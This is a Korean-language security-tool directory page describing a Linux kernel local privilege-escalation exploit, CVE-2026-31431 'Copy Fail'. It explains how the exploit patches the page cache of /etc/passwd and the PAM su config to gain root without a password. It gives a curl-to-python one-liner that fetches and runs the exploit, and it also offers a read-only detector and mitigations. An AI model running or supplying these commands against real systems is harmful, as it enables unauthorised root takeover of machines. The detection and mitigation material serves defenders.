Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/mfloresdacunha/cve-2026-31431
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration TestingRed Teaming
GitHubmfloresdacunha/cve-2026-31431

CVE-2026-31431

CVE-2026-31431에 대한 로컬 권한 상승 익스플로잇으로, Linux 커널의 algif_aead에서 splice를 사용하여 페이지 캐시를 덮어쓰고 루트 권한을 획득합니다. 읽기 전용 탐지기를 포함합니다.

저장소 보기
1514개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-31431 — "Copy Fail" 로컬 권한 상승

개요

CVE-2026-31431은 Linux 커널의 algif_aead 서브시스템에서 발생하는 로컬 권한 상승 취약점입니다. authencesn AEAD 구현은 splice(2)를 통해 제자리 복호화를 수행하여 페이지 캐시 페이지를 대상 scatterlist에 배치합니다. AAD의 4바이트 값(seqno_lo)이 인증 태그가 검증되기 전에 해당 페이지 캐시 페이지에 다시 기록되어, 권한이 없는 사용자가 모든 세계 읽기 가능 파일의 커널 페이지 캐시에서 임의의 바이트를 덮어쓸 수 있게 됩니다.

취약한 버전: 커널 4.14(2017년 8월) — authencesn이 algif_aead에 도입된 시점
수정 사항 배포: 6.12, 6.17, 6.18 안정 브랜치에만 해당
영구 미패치: 커널 4.14–6.11(EOL, 백포트 예정 없음)
필요 프리미티브: AF_ALG 소켓, authencesn(hmac(sha256),cbc(aes)) 암호, AF_ALG 소켓 fd로의 splice(2)
영향: 루트로의 로컬 권한 상승 — 완전 자동화, 비밀번호 불필요

작동 방식

이 익스플로잇은 두 개의 페이지 캐시 패치를 순차적으로 적용한 후 su를 자동으로 실행합니다:

  1. /etc/passwd 패치 — 파일을 열고(세계 읽기 가능), 페이지 캐시를 채운 다음, authencesn splice 프리미티브를 사용하여 실행 중인 사용자의 4자리 UID 필드를 0000으로 뒤집습니다. 패치 후 getpwnam()은 사용자를 UID 0으로 보고합니다.

  2. /etc/pam.d/su 패치 — pam_rootok.so와 pam_permit.so는 둘 다 정확히 13자입니다. 두 번의 4바이트 쓰기로 PAM 구성의 페이지 캐시에서 pam_rootok.so를 pam_permit.so로 교체합니다. pam_permit는 항상 PAM_SUCCESS를 반환하므로 기존 auth sufficient 라인이 즉시 실행되어 비밀번호 프롬프트가 표시되지 않습니다.

  3. 자동 셸 — 스크립트가 su <user>를 실행합니다. PAM은 비밀번호 없이 인증하고(2단계), 이 UID 0을 보고하므로 이 성공합니다(1단계). 사용자 상호 작용 없이 루트 셸이 반환됩니다.

어느 시점에서도 디스크 쓰기는 발생하지 않습니다. 페이지 캐시를 삭제하거나(echo 3 > /proc/sys/vm/drop_caches) 재부팅하면 두 패치가 모두 완전히 되돌려집니다.

사용법

승인된 테스트 전용입니다. 소유한 호스트 또는 명시적으로 평가를 위임받은 호스트에서만 실행하세요.

원라이너

root@kitploit:~
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3

루트 셸이 자동으로 반환됩니다 — 비밀번호 불필요.

수동 실행

root@kitploit:~
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py

정리(루트 셸에서)

root@kitploit:~
echo 3 | tee /proc/sys/vm/drop_caches

요구 사항

  • Linux 커널 4.14–6.18, 특히 미패치 4.14–6.11(영구) 또는 업스트림 수정이 적용되지 않은 6.12/6.17/6.18
  • AF_ALG 소켓 지원 활성화(대부분의 배포판에서 표준)
  • authencesn(hmac(sha256),cbc(aes)) 로드 가능(대부분의 배포판에서 표준)
  • Python 3.6+
  • 4자리 UID(1000–9999)

탐지

test_cve_2026_31431.py는 이 저장소에 포함된 안전한 읽기 전용 탐지기입니다. 임시 디렉토리에 생성한 일회용 센티널 파일에 대해 algif_aead splice 프리미티브를 실행합니다 — 시스템 파일은 절대 건드리지 않습니다. 판정을 출력하고 명확하게 정의된 코드로 종료합니다:

종료 코드의미
0취약하지 않음 — 사전 조건 미충족 또는 페이지 캐시가 수정되지 않음
1테스트 오류(예: AF_ALG 사용 불가, splice 미지원)

실행:

root@kitploit:~
# 원라이너(설치 불필요)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"

# 또는 로컬 클론에서
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"

취약한 커널에서의 예시 출력:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!]   Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!]   Surrounding bytes: 00000000504d4e4400000000  (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.

패치된 커널에서의 예시 출력:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.

완화 조치

  • 업스트림 커널 패치를 적용하세요.
  • /etc/modprobe.d를 통해 algif_aead 차단: install algif_aead /bin/false
  • seccomp 또는 LSM 정책으로 AF_ALG 소켓 제한.

참고 자료

  • Copy Fail 공개
  • 업스트림 수정: net/tls + crypto/algif_aead — authencesn 제자리 dst scatterlist 격리
도구 다운로드
getpwnam()
setuid(0)
2취약함 — 마커 바이트가 splice된 페이지 캐시 페이지에 기록됨